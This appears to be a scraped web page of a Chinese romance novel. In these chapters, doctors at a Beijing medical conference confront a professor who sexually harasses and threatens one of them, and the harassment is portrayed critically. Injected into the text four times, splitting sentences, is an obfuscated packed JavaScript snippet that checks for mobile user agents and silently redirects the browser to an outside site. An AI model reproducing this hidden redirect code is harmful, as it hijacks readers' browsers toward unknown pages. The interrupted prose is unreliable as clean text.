后来沈元姝每一年的生日愿望,都是希望哥哥平安健康,早日回家。 这个愿望许了三年,终于迎来一个好消息。 哥哥,找到了。 他被海城一对失独夫妻收养了。 他品学兼优,高大英俊,是她想象过无数次的样子。 她对哥哥有经年累月积聚的期待、憧憬和说不清道不明的歉意。 而哥哥待她客套、疏淡,大概只把她当一个有血缘关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640844|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的陌生人。 晚餐结束后,沈元姝递给江明月和崔晚晚一人一个丝绒盒子,说是谢礼,感谢她们几天前施以援手的救命之恩。 随后三人互相道别,各自回家。 席间崔晚晚喝了半杯白葡萄酒,不能开车,所以搭江明月的车一起回去。刚好江明月今天手臂拆线了,伤口长得挺好,正准备搬回家住,跟崔晚晚完全顺路。 江明月家里有好几辆车。她习惯开一辆银色的SUV,座位宽敞,比较低调,而且底盘高,视线也开阔。 “这小姑娘挺客气,还给我们送谢礼。”上了车,崔晚晚随手拆开丝绒盒子上的蝴蝶结,“我看看送了什么。” 打开盒子后,崔晚晚轻轻“嘶”了声,像是倒吸了一口气,随即神色恍惚地喃喃自语:“这不是小姑娘,这是大小姐。” 天气热,车里也闷。江明月还没起步,先把车内空调打开吹了一会儿。闻言往副驾驶方向扫了眼。 丝绒盒子内,安静地躺着一条蓝宝石项链。宝石很大一颗,周围一圈钻石围镶,在车内幽暗的灯光下折出熠熠火彩,一看就知道价值不菲。 “很贵?”江明月问。 她对珠宝没有崔晚晚了解。崔晚晚是学艺术的,毕业后还开了一家珠宝定制店打发时间。 崔晚晚不停地点头:“这都属于收藏级别的了,有钱都不一定能买到。” 江明月把自己那个丝绒盒子也拆开来看了,里面也是一条蓝宝石项链。 崔晚晚扶着心脏:“这种高品质的蓝宝她竟然有俩!” 江明月对珠宝的价值实在没有概念,“大概值多少钱?” “有市无价,已经不能用钱来衡量了。”崔晚晚认真思考了一下,“非要估个价的话……嗯,如果用这条项链买你这个型号的车,能买那么百八十辆。” “这么贵?”江明月终于有了一点具象的感知,换着角度打量着手中的项链。 “当然了!你看这明亮的皇家蓝!这切工!这净度!还有边上这圈钻石,每一颗都至少有F色。”崔晚晚如数家珍说了一通,顿了片刻,声线变得迟疑,“她姓沈……该不会就是那个沈吧?” 江明月一脸疑惑。 崔晚晚知道她不了解这些,便跟她好好科普了一番:“沈氏珠宝,你听说过没?以前在香港做高珠生意的,传说中的顶级豪门。后来转到内地发展,分走了内地市场好大一块蛋糕。我觉得沈元姝的‘沈’十有八九就是这个‘沈’,怪不得这么高品质的蓝宝她能一送送俩。” 崔晚晚越说越像那么回事,语气逐渐从怀疑转为确信。 江明月对猜测别人的家世兴致缺缺,看了眼时间,将项链盒子收好。 “不早了,回去了,明天我还要跟主任去北城开会,早上7点55的飞机。” 崔晚晚不敢置信:“你这周末又加班啊?” 江明月说:“也不算加班,算是学术交流,这次级别很高,很多医学界的泰斗都会来,机会难得,去见识一下也好。” 崔晚晚点头:“那你回去以后早点休息啊,明天还要早起。” 9. 学术会议 翌日上午十点,一行参会人员顺利落地北城。在机场等行李的时候,江明月看见了沈归时。 沈归时也看见了她。 江明月的行李箱恰好转出来了,她正要搬,沈归时大步走近,帮她把箱子搬了下来。 他今天穿得比平时正式,上身是一件浅灰色的衬衣,挺括有型,不过最上面那粒纽扣没有系,似乎带出了几分随性的少年气息。衬衣下摆收进了休闲西裤,随着俯身搬箱子的动作,衬衣贴紧肌肤,勾画出背脊的肌肉纹理。 “谢谢。”江明月微微抬头看他,“你也是来参加研讨会的?” “嗯,我跟卢景老师一起来的。” 卢景是神经外科的学科带头人,同时也是海大医学院的博士生导师,手术水平很高,业内声望也不小。这种级别的会议能把沈归时带上,说明他很看重这个弟子。 江明月心里这么琢磨了一遍,还挺为沈归时高兴的。 卢景在海大附院的话语权相当高,有他提携沈归时,沈归时实习结束后留院不是问题。 海大附院虽然忙,但收入并不低,对小沈这样的寒门学子而言,无疑是一个非常好的工作机会。 江明月正想再问几句,沈归时的手机恰好响了。 他看了眼手机屏幕,抱歉一笑:“卢老师找我,我先过去。” 江明月点点头。 沈归时走出几步,又回头看她:“师姐,一会儿见。” - 本次医学研讨会由一家上市医药公司主办。会期两天,刚好一个周末。主办方出手大气,给每个参会人员都安排了高奢珠宝旗下的星级酒店下榻,一人一间。 因为人数众多,午餐定为西式自助,随到随吃。 江明月拖着行李箱走进酒店房间,从箱子里翻出自备的洗手液洗了手,跟父母打电话报平安后,下楼去餐厅。 自助餐厅已经坐满了人,放眼望去没有一个空桌。江明月目光绕了一圈,发现了沈归时。 他独自坐在餐厅深处的一张两人桌上,对面的座位是空的。 江明月端着盘子走了过去:“这边有人吗?” “没有。”沈归时将对面餐桌上的装饰花瓶挪到边上,“师姐请坐。” 江明月坐下来,拿着餐勺,将牛排上细碎的洋葱粒刮到一边,每一粒都不放过,动作仔细得像在操作手术仪器。 她问沈归时:“你住哪个房间?” “705。” “我在708,一个楼层。”江明月终于把洋葱清理干净了,这才开始切割牛排,“怎么没看见卢老师?” “卢老师说他吃不惯西餐,点了份粥,在房间里吃。” 江明月把之前在机场没来得及问的话问出口:“你以后是不是打算跟着卢老师去神外?” “对,你觉得怎么样?” “我觉得挺好的。以前技术有限,神经外科有很多手术都做不了,现在技术发展了,很多手术都能在仪器辅助下操作了。人脑又那么精密复杂,以后这个学科应该还有很大的发展空间。” 沈归时认真聆听。在得到江明月认可的答复后,他轻轻弯起唇角。 他的长相实在出色。只是唇角微微牵动了那么一点弧度,就令他整张脸变得生动又柔和。 江明月心不在焉地拿起桌上的玻璃杯。 “师姐,你想喝什么?”沈归时问,“我去帮你倒。” 江明月这才发现手里的饮料杯是空的。 她怔然一秒,笑道:“西瓜汁,加冰,谢谢。” 沈归时起身去饮料台。 江明月暗骂自己——不就是一副年轻隽秀的皮囊吗?至于看愣了吗! 沈归时很快端着一杯西瓜汁回来了。江明月已经调整好了情绪,端起师姐的架子:“神外的培养周期很长哦,你要做好心理准备。” 她正在剥虾,手指沾上了虾壳上的酱料。沈归时将纸巾盒推向她:“嗯,我知道。” 江明月像是忽然想起了什么,又郑重其事道:“不过神外是我们医院的重点科室,绩效很多的,以后养家糊口肯定不是问题。” 沈归时点了点头,示意自己明白。 餐后,两人一起乘电梯上楼。 沈归时的房间就在江明月的斜对面。 江明月关门之前看了他一眼。 他刚走到房门口,正在刷房卡。那个背影挺拔修长,坚韧笔直,仿佛荒芜贫瘠的土地上破土生长的松竹。 - 会议地点设在酒店的大会议厅。江明月提前半个小时下楼去会议厅,厅内已经聚集了不少人。 科主任郑观海正在和另外几个业内大牛谈笑风生,江明月很识趣地没有上前打扰,而是走到另一侧放茶歇的桌子旁边。 那里围聚了不少年轻的面孔,显然都是跟随领导或者导师一同参会的。大家一起吃点心喝饮料,在这个诺大的会议厅的角落,安心地当着“学术蝗虫”。 没过多久,江明月接到郑观海的电话:“小江,你来了吗?我怎么没看见你的人?” 江明月没好意思说自己在吃茶歇,“我到了,刚看见您在忙,就没去打扰您。” 郑观海说:“没事,你过来,我正好介绍几个人给你认识一下。” 江明月往郑观海的方向望了一眼。郑大主任已经坐下来了,周围零零散散坐着四个教授级别的人物。 江明月数了五瓶椰子水,抱走,快步走到郑观海那里,喊了声“主任”,然后迅速在每个人面前摆上一瓶椰子水。 旁边一名女教授笑着说:“老郑,我可真有点羡慕你了,这么懂事的人才上哪儿找的啊?” 郑观海压着内心的得意,神色如常地指了指江明月:“江明月,我组里的,海大的硕士。大家以后如果评审遇到了给我个面子,关照一下。” 周围几人纷纷笑道:“一定一定。” 郑观海也半真半假地开玩笑:“小江,你把这几个人记好了啊!以后投文章的时候先看看评审里有没有他们。” 郑观海这次带江明月来参会,一方面,是为让她在业内亮个相,给行业内的前辈们留下印象。 另一方面——谁团队里有这么个大美人能忍住不带出来炫耀啊! 江明月在几名大佬面前规规矩矩的,像个听话的小朋友。 大佬们倒是挺随和。其中还有一位教授主动提出要加江明月的微信,说以后有问题可以随时找他交流。 江明月受宠若惊,看了眼对方桌上的席位牌——吴驰。 她打开微信,尊称道:“吴教授,我扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640845|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您。” 因为有吴驰开了头,剩下几人也都加了江明月的微信。加完微信,江明月恭恭敬敬地跟几位教授一一握手。 也不知是不是她的错觉,跟吴教授握手的时候,她的手背似乎被轻轻摩挲了一下。 江明月没流露出什么异样的神色,转头跟郑观海说:“主任,会议马上要开始了,我先去准备汇报材料。” 郑观海爽朗点头:“去吧。” - 会期有两天,今天主要就是江明月这样的年轻人上台,结合自身经历汇报一下临床的经验教训、目前的医疗困境等等。明天则是各领域的领军人物上台讲一些医学前沿动态,包括各个领域最新的研究成果。 江明月的稿子早就准备好了。这样的场合,她从不怯场,汇报结束后向所有人鞠躬致谢,会议厅内掌声雷动。 傍晚时分,会议结束,今天的工作算是告一段落。晚饭同样是酒店提供的自助餐,江明月简单吃了几口就回房间了。 她换上运动手表,准备去酒店顶楼的健身房跑一圈。 正打算换身运动服,微信电话的提示音响起。 竟然是吴驰教授打过来的。 江明月迟疑地接通:“吴教授?” 吴驰声线慈祥:“小江医生,我刚刚看见你上电梯了,怎么没出去走走?” 本次参会人员来自全国各地,很多人第一次来北城,吃完晚饭都结伴出去游玩了。 江明月隐隐觉得不太对劲。 吴教授怎么知道她上电梯了? 可能只是恰好看到了。人家堂堂教授,应该不会一直盯着她的动静。 江明月随便找了个理由:“外面天气热,我还是想在室内吹吹空调。” 吴驰说:“那正好,我这儿刚好有几个学术问题想跟你交流一下,你来我房间,1909。” 江明月下意识地看了眼时间——刚好晚上七点半。 她婉言拒绝:“今天太晚了,我怕打扰您休息,明天上午开会前,我提前去会议厅找您,您看可以吗?” 吴驰语气顿时变得严厉:“你还有没有科研精神?讨论学术还在乎时间早晚?我告诉你,行医治人,宁早不晚!如果现在有病人要抢救,你也要等明天上午再救吗?” 这一连串的发问都快把江明月问懵了,仿佛刚刚她的拒绝是什么不可饶恕的罪过。 其实江明月挺想反驳。这搞科研跟抢救病人,也不是一回事啊。 考虑到吴驰的名望和实力,她忍住了没吱声。 吴驰稍稍缓和了语气,催促道:“赶紧过来,老郑也在这儿等你。” 吴驰没再给她拒绝的机会,说完就结束了通话。 话说到这份上了,江明月再打电话过去推辞,似乎也不太合适。 想到郑观海也在场,她稍许打消了一些疑虑,决定上楼看看。 电梯门向两侧平缓打开。 沈归时走出电梯,看见江明月低头看着手机径直走了进去,他不由出声提醒:“师姐,这是上去的电梯。” 江明月说:“我知道,我去楼上找吴驰教授。” “你找他有事?” “他说有问题要和我交流。” 两人说这么两句话的工夫,电梯门已经关上了。 10. 招人喜欢 江明月按响了1909的门铃。 房门很快就被打开,吴驰望着她,露出一个满意的笑容,“进来吧。” 主办方对待这些业内大牛极为周到,房间都安排了套房,附带一个会客室。 江明月进来之后没看见郑观海,心头那些疑虑又浮了出来。 “郑主任呢?” “他马上到。”吴驰拍拍沙发的靠背,“坐。” “我给郑主任打个电话问问。”江明月点了点运动手表的屏幕。 “先别急!”吴驰制止了她,给江明月倒了杯水,慢悠悠地说,“我呢,还有点私事想问你,老郑在场不方便。” 江明月没碰那杯水,而是打起十二分精神:“您请直说。” “我觉得你各方面都不错,不知道你愿不愿意来读我的博士?我包你能出成果,准时毕业。” 原来是想挖人?怪不得一直藏着掖着,语焉不详,还不让郑主任在场。 江明月慢慢说道:“恐怕不行。术业有专攻,您的研究方向和我目前的工作不太一致。” 她是想读博,但不想随便读个博。 “哦,也是,你是跟老郑搞辅助生殖的,那你到我们医院工作怎么样?我们医院也有生殖科,配的实验室也是国内一流的。只要你肯来,我保证你三年之内升副高,后面我再想想办法让你读个在职博士,弄点研究成果出来,等有正高的位置空出来,直接让你上去。” 刚刚在电梯里,江明月上网搜了一下——吴驰现在是北城一家教学医院的副院长,这一通许诺确实在他的能力范围内。 但这事明显透着反常。她有自知之明,自己还没优秀到能让别的医院花这么大的代价挖走。 她垂眸望着腕上的手表,轻声问:“真的假的?” 吴驰哈哈笑道:“当然是真的,不过有个前提啊。” “什么前提?” 吴驰没有直接回答,而是走过来,坐到江明月身边的沙发位上。 江明月往旁边挪了挪。就听吴驰说:“我确实有个专业问题想问问你——你说我这个年纪的人,想要孩子是不是只能通过试管了?” 江明月出于职业习惯问道:“您爱人多大年纪?” “哦,她去世好几年了。” 江明月怀疑吴驰在逗她玩,皮笑肉不笑地回了句:“那您想要孩子还真有点困难。” 吴驰笑着说:“你是专业的,你肯定有办法给我生个孩子。” 江明月听愣了。这话乍一听很像是在讨论辅助生殖的手段,但对方言语暧昧,更像是在性骚扰。 她站起身,脸色都沉了下去,“吴教授,我学识有限,回答不了您的问题,您可以自己挂个专家门诊看看。” 见她要走,吴驰抢先一步,身体挡住房门。 “生气了?”吴驰满是兴味地欣赏着江明月的脸色,“没事儿,生气也漂亮。” 他终于把话挑明:“你给我当情人吧,我肯定不会亏待你的,刚刚所有承诺说到做到。” 江明月冷笑一声:“吴教授,你未免看错人了,我读书、工作都是自己考出来的,就你那些所谓的承诺,我凭自己的能力也能做到。” 吴驰神色轻慢,仍不忘调笑:“是吗?原来小江医生这么优秀,那就更招人喜欢了。” 江明月长这么大都没遇到过这么恶心的人,都快气笑了。 “你现在让我走,我可以当做什么都没发生。要不然——”她略微停顿几秒,像是在警告,“我不介意把事情闹大,就怕到时候,你不好收场。” 就在这时,江明月手机响了。 有人打电话给她。 江明月依旧是不卑不亢的神情,视线钉在吴驰脸上,看都没看一眼手机,直接接起来就说:“爸,我要报警。” 气势拿捏得足足的。 吴驰劈手抢过她的手机,直接关机,远远一扔。 手机砸到落地窗的玻璃上,又哐当一声,摔在了地上。 短暂的慌乱过后,吴驰冷静下来,姿态放低不少:“年轻人不要冲动。是不是我给的好处你不太满意?你还想要什么?尽管提,只要在我的职权范围内,我都想办法帮你办到。” - 从电梯口分别后,沈归时一直隐隐觉得不对。 吴驰是内科出身,研究方向也离不开内科的框架,和江明月的专业内容关联不大。他想不出吴驰能有什么问题要找江明月交流。 就算确实有问题要交流,今天来了这么多医学界的领军人物,吴驰找谁交流都行,至于找江明月这样一个新手主治? 他越想越觉得不对劲,就想致电问问情况。 没想到电话刚一接通,江明月就说要报警。 沈归时正想问怎么回事,通话就结束了。再打过去,就只有冰冷的提示音:“您拨打的电话已关机。” 沈归时一边打报警电话,一边迅速跑到电梯口。 酒店是超高层建筑,一共四十多层。此刻所有电梯都在二十层左右,稳定上升中。沈归时扫了一眼,推开旁边安全通道厚重的铁门,从楼梯冲了下去。 酒店前台,两个妆容精致的小姑娘正在闲聊,远远看见快步走来的年轻男人,立刻停下聊天,展露出恰到好处的职业微笑。 “先生,晚上好!请问有什么可以帮您?” 刚从楼上跑下来的沈归时,稍稍平复了一下略微急促的呼吸。 “我找吴驰教授,请问他住哪个房间?” 两名前台对视一眼。其中一人笑着说:“对不起,先生,这是我们住店客人的隐私,我们不方便透露。” 沈归时随即说:“我要找你们这儿的负责人。” 前台当然不可能为了这点小事去打搅领导,但也没明说:“不好意思,我们领导刚好在忙,您稍等片刻可以吗?” 沈归时问:“等多久?” 前台抱歉一笑:“这个我们也不太清楚。要不您先坐一会儿,我们帮您问问。” 前台拿起桌上的固定电话,一边不疾不徐地翻着一本纸质电话簿。 沈归时径自走到不远处闪闪发光的法式落地水晶灯旁边。 另一名前台看见他的动作,慌忙喊道:“哎!你要干嘛!” 回答她的是一阵玻璃碎裂的声音。 ——沈归时将那个一人高的水晶灯踢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640846|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻了。 水晶灯有一对。见他抬腿往另一个水晶灯的方向走了,两名前台连忙冲出来拦住他。 “先生……先生你先别激动……我们这个灯是定制款,很贵的,损坏是要照价赔偿的……” 沈归时眉目沉冷,按住心底所有的不安与焦躁之后,甚至还保持着礼貌。 “请问——” “你们领导现在忙完了吗?” - 酒店经理听闻消息,在两分钟内赶了过来。 作为一个训练有素的酒店领导,他没去追问沈归时为什么要破坏他们酒店的财物,而是微微欠身,耐心沟通:“先生,住客的房号涉及个人隐私,我们真的不方便告诉您。这样吧,我来联系一下那位房客,如果房客本人同意,我们就把房间号告诉您。” 沈归时看了眼时间。 距离他刚刚电话联系江明月,又过去了十分钟。 “我是沈归时。” 他不想再等了。 “沈归晏是我的大哥。” 不远处的两名前台发觉,她们经理本就微微欠着的身子好像弯得更低了。 其中一人问:“沈归晏是谁啊?有点耳熟。” 另一人做了一个“嘘”的手势,用眼神瞟了瞟身后墙上挂着的营业执照。 【法定代表人-沈归晏】 沈归时接着说:“另外,我报警了,警察很快就到。我想先上去看一下情况,不过分吧?” - 房间内。 江明月不想和吴驰多说一句,只想开门走人。 可惜吴驰一直挡着门锁。 江明月耐心耗尽,指着吴驰的鼻子开始骂:“你有病啊!是不是精虫上脑吃光了你脑子里的神经元?一大把年纪了还想着养情人?要脸吗!能不能先照照镜子看看自己什么德性?头发都要掉没了好吗!” 吴驰已经很多年没听见有人当面斥责自己了,一番话听下来,脸色变得铁青。 江明月模仿着吴驰刚刚对她说的话,阴阳怪气的:“生气了?没事儿,生气就更丑了。” 吴驰恼羞成怒,喝道:“江明月!你别给脸不要脸!我告诉你,我在你们海城的医疗系统里也有不少熟人,别的不说,让你处处受限混不下去,还是能办到的。当然了,如果你现在答应我的条件,我还是可以不计前嫌,好好帮扶你的。到底怎么选,你想想清楚。” 这是利诱不成改威逼了啊。 江明月一时无语。 吴驰将她的沉默当成了默许,脸色终于和缓下来,语气也轻快不少:“行了,我对女人还是很大方的,你好好跟着我,不会吃亏的。” 两人在房门后对峙,距离没隔多远。吴驰说着,一手将江明月扯到身前,另一手正要搂抱上去,身下忽然一记剧痛。 ——命根子被江明月重重踹了一脚。 就在这时,房门忽然开了。 吴驰满脸一言难尽的痛苦之色,疼得腰都快直不起来了,根本顾不上考虑房门为什么会突然打开,只顾捂着裤-裆,倚墙喘气。 而江明月望着出现在门口沈归时,有点懵。 “你怎么来了?” 11. 他沈家穷? 沈归时迈步走了进来,身后跟着酒店经理。 刚刚就是酒店经理刷房卡打开了房门。酒店经理听沈归时说已经报警处理,也怕出什么事,虽然不知道内情,但还是马不停蹄地奔过来了,心想万一有什么突发情况也好及时应对。 “听你电话里说要报警,不太放心,过来看看。”沈归时迅速扫了一眼房间里的情况,最后望向江明月,“你怎么样?” “我没事。”江明月推着沈归时往房门外走,“走吧,出去再说。” “站住!”最初那股强烈的痛感已经过去了,吴驰又一次拦住江明月的去路,他单手将腰间皮带抽了出来,对折了一下,狠狠朝江明月挥了过去,叫嚣道,“敢踢我?我今天不给你点教训我就不姓吴!” 沈归时反应极快,两臂从身后环住江明月,将她抱离地面,然后利落地转了个身。皮带的金属扣重重地砸在了他的背上,发出一记闷响。 酒店经理感觉自己的心肝都在颤,连忙上前试图制止:“这位先生,请你冷静一点,不要动手伤人!” 然后小心翼翼地看着沈归时,问道:“沈先生,您还好吗?需要帮您联系医疗服务吗?” 没等沈归时说什么,酒店经理就被吴驰不耐烦地推开了:“你少管闲事,不然连你一起打。” 吴驰刚刚虽然在极力忍耐某种疼痛,但也听清了沈归时和江明月的对话,终于意识到江明月之前气焰嚣张地说要报警,原来只是装腔作势,糊弄他而已。 想明白之后,吴驰更加怒火中烧,手中的皮带再度挥了出去。 只不过,这一次,皮带没有落到实处,而是在半空中被人抓住了另一端。 沈归时放下了江明月,他微微侧着身,手掌稍稍用力,顺势将剩下半截皮带从吴驰手中拽了出来,然后随手将皮带扔到了落地窗边。 这个动作随性自如,像一种漫不经心的挑衅。 吴驰也因为这个动作,彻底被激怒了。 他对沈归时有点印象,好像是卢景的学生——晚餐时,卢景领着他和不少人打过招呼。 一个还没毕业的在校生而已。 吴驰没有犹豫,直接扬手打了过去,嘴里依旧骂骂咧咧:“你们海大医学院风气真差,对前辈一点尊重都没有!” 只不过,那只手没等挥落,就被人换了一个角度反扣在身后。 吴驰回头看了眼按住自己的青年,还没反应过来,腹部就挨了一记拳头。 “不好意思,我们学院一向学风优良,尊师重道,只是——你,不值得我们尊重。”沈归时慢条斯理地说了句,“另外,吴教授,还是趁早改姓吧。” 吴驰愣了几秒才意识到沈归时是在回应他之前说的话,但他此刻也顾不上反驳了,因为一个接一个的拳头已如密雨一般落在了自己身上。 酒店经理踌躇半晌,一脸挣扎,想劝又不敢劝。 吴驰一边躲一边大喊:“救命!救命啊!” 酒店经理咬了咬牙,把房门关上,还反锁了。 江明月错愕过后也反应过来,拉了下沈归时的手肘,“别打了……打伤了要赔钱的。” 沈归时低头看了眼被拉住的手肘,收住攻势。 “放心,没下重手。”他说。 这时,房间门铃响了。 “开门!警察!” 江明月微愣:“你真报警了?” 她那时只是虚张声势,主要是想震住吴驰。 “……嗯。” 沈归时想问不是你说要报警的吗,但很快他就回想起江明月在说“我要报警”之前还有一个称呼:爸。 沈归时略微一想,好像明白了什么。 两人相视无言。 吴驰从地毯上爬起来,踉踉跄跄地跑去打开房门。 房门外,站着两名身穿制服的警察。 其中较为年轻的那名警察问:“谁是报警人?” 吴驰急忙说:“我!我要报警!我被人殴打了!” 他颤手指向沈归时。 “还有她!她踹我!”吴驰的手指又指向江明月,一脸控诉,宛如小学生告状。 沈归时:“……” 江明月:“……” 另一名年长的老警察打量着吴驰:“你哪儿被打了?” “这儿,还有这儿,这儿。”吴驰指了好几个地方,“反正全身都被打了!” 老警察蹙起眉头:“你说你这些地方被打了,可我看一没青,二没肿,三没流血啊。” 吴驰冷脸叫嚣:“你意思是我骗你?你知道我是谁吗?” 老警察在北城办案多年,这种话不知道听多少人说过,闻言神情分毫未变,就淡淡解释了一句:“没说你骗我,就是我看你这个受伤的程度,连轻微伤都算不上嘛。” 吴驰听这话里话外的意思,像是不打算严肃处理了,他立马又激动起来,愤愤地指着沈归时:“他是学医的!他殴打我的时候避开了所有重要器官!你看着只是轻微伤,其实他下手忒重!这个行径非常可耻!性质十分恶劣!” 吴驰直接给定了性,习惯性地发号施令,“赶紧的,你们快给他拷上!带走!关起来!” 老警察当然不会听他指挥,而是望向沈归时。年轻男人气质斯文,容貌俊逸,一点也不像会动手打人的样子。 “你……打他了?”老警察问。 沈归时轻轻点了一下头。 吴驰重重哼了声。 “是我报的警。”沈归时微笑,“他先打我的。” 老警察都被绕晕了,眉头一皱:“你们互殴是吧?” 吴驰眉毛都要竖起来了,坚决否认:“没有互殴!” 分明是他单方面挨打啊! 老警察不可能只听吴驰的一面之词,他朝酒店经理招了招手:“来来,你是这里的工作人员吧?你来说说怎么回事。” 酒店经理强作镇定,装傻:“我刚过来没多久,具体情况我也不太清楚。” 开玩笑,整座酒店都是沈家的产业,他今天说错一句话,明天就不用来上班了。 老警察问:“他俩打架的时候,你不在场?” 酒店经理艰难点头:“我……在场,我好像看到了这位客人用皮带抽人……” 老警察这才注意到落地窗边的皮带。皮带旁边还有一个手机。 正常人不会把手机放到那儿,所以极有可能是互相争执的时候扔过去的。 “那手机是谁的?”他问。 江明月说:“是我的。” 老警察将手机开机,见江明月扫脸解锁成功,就把手机还给了她。 “手机怎么在那儿?” 江明月朝吴驰抬了抬下巴:“他扔的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640847|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两名警察对视一眼。 看来这三个人之间确实有点纠纷。这种事可大可小,还要看这三人想怎么解决。 “他扔了你手机,所以你踹他?还是因为你踹了他,他才扔你手机的?”年轻警察问。 江明月的视线掠过年轻警察一直举在手里的执法记录仪,落在吴驰身上,神情似笑非笑:“具体经过我可以解释。我想去派出所做个笔录,可以吗?” 吴驰一个激灵,立刻阻止:“不行!” 笔录是书面材料,会有留痕。真让江明月去派出所把今晚的来龙去脉说清楚了,就算不公诸于人前,对他来说也是个隐患。 想到这儿,吴驰的态度直接来了个大转弯:“警察同志,今天辛苦你们跑一趟了,我们是一起来开会的,都是认识的,刚刚只是起了一点小小的冲突,小事儿,哈哈,小事儿,我们自己协商解决就行。” 老警察有些奇怪:“你意思是想私了?” 刚刚还嚷嚷着要把另一个人拷走呢。 吴驰答应得很快,笑容和善:“对对,私了。” “你们呢?也同意私下协商解决?”老警察又征询江明月和沈归时的意见。 沈归时见江明月点头,也就同意了。 - 警察离开后,吴驰就收起笑容,想到白挨了一顿打,心头的怒火就蹭蹭往上冒。倒也没敢再动手,只是冷冷一笑:“你们给我等着!只要我还在医疗系统里混,你们俩就别想有出头的一天。” 江明月脸色冰冷:“吴教授,今天事出有因,想必没人比你更清楚,有什么你冲我来,别牵连别人。” 吴驰无声地“哟”了一声。他算是看出来了,江明月对这个同校出身的师弟还挺袒护。 那他就更要让江明月知道得罪他没有好下场了。 “你这个师弟还没毕业,是吧?巧了,你们学院的领导我也认识几个,虽然不太熟,但如果我说有个学生学术不精还得再考察几年,他们应该也会给我这个面子。” 酒店经理都听愣了。这人是在针对沈归时?威胁他不能按时毕业? 不是,他以为他在针对谁啊? 沈归时读的是八年制的本博连读,毕业后同时拿本科和博士的学历-证书。如果毕不了业,就意味着他连本科毕业证都拿不到,根本没办法找工作。 江明月抿抿唇:“吴教授,忘了告诉你,今天晚上的事我都录音了。” 吴驰脸色大变:“你什么时候录的音?” 江明月坦诚相告:“就在我说要给郑主任打电话的时候。” 那时她明显察觉到了异常,就在运动手表上点了录音。她刚刚没有坚持要求去做笔录也有这方面的原因。最直接的证据已经在她手上了。 她眼眸清亮,显得无辜又真诚:“如果我们两人以后工作学习中遇到了什么阻碍,那我就默认是你在操作。到时候我很难保证这个录音会出现在什么地方,可能是某个医学论坛,也可能是贵院的公共邮箱,到那时看我心情吧。” 吴驰气急败坏:“太过分了,你真的太过分了!” 江明月立刻接了句:“不及吴教授针对一个家境穷苦的普通学生来得过分。” 酒店经理反复咂摸着这句话里“家境穷苦”四个字,一时不确定江明月说的是不是沈归时。 穷苦?他沈家穷得只剩下钱了吧? 12. 疼不疼 江明月说完就后悔自己嘴快了,唯恐沈归时自尊心强,听了这话心里会难受。 她悄悄觑了眼沈归时。他微垂着眼,不知在想些什么。 江明月转过视线,面色不善地看着始作俑者吴驰:“还是那句话,如果你只想相安无事,我可以当作什么都没发生。但如果你想把事情闹大,我也十分乐意奉陪。” 吴驰哑然。 现在是他想把事情闹大吗?主动权完全在江明月手里。 江明月该说的都说了,拉着沈归时离开了房间。 沈归时走出房门前,回头瞥了一眼吴驰。 这一眼淡漠得过分,仿佛在看一个跳梁小丑。 吴驰莫名觉得后心发凉,走到中央空调的控制面板前,将温度调高了几度。 他现在也后悔得很。医学院里漂亮的小姑娘那么多,他随便挑个好拿捏的不行吗?何必来招惹江明月?一晚上既挨骂又挨打,偏偏有所顾忌不好发作,这个哑巴亏不吃也得吃。还有那个地方,也不知道踢坏了没有…… - 酒店经理跟上大步离去的江明月和沈归时,一起进电梯后,殷勤地帮两人按下电梯楼层。 电梯里只有他们三个人,很安静。 江明月还在懊悔刚刚的失言,为了缓和一下气氛,她牵出一个笑容,情真意切地夸赞道:“小沈,你体力还挺持久的。” 酒店经理微微睁大眼睛,惊疑不定的目光扫着他们两人。 电梯内又陷入了诡异的沉默。 江明月后知后觉地发现她的措词不太合适,连忙补充道:“我是说你刚刚揍吴驰的时候,耐力挺不错……” 沈归时的眸子转过来,定在她脸上。 江明月沉默两秒,又接了一句:“揍得好。” “神外手术时间普遍比较长,就需要你这样体能好的人才。” 七层到了。 两人先后走出电梯。 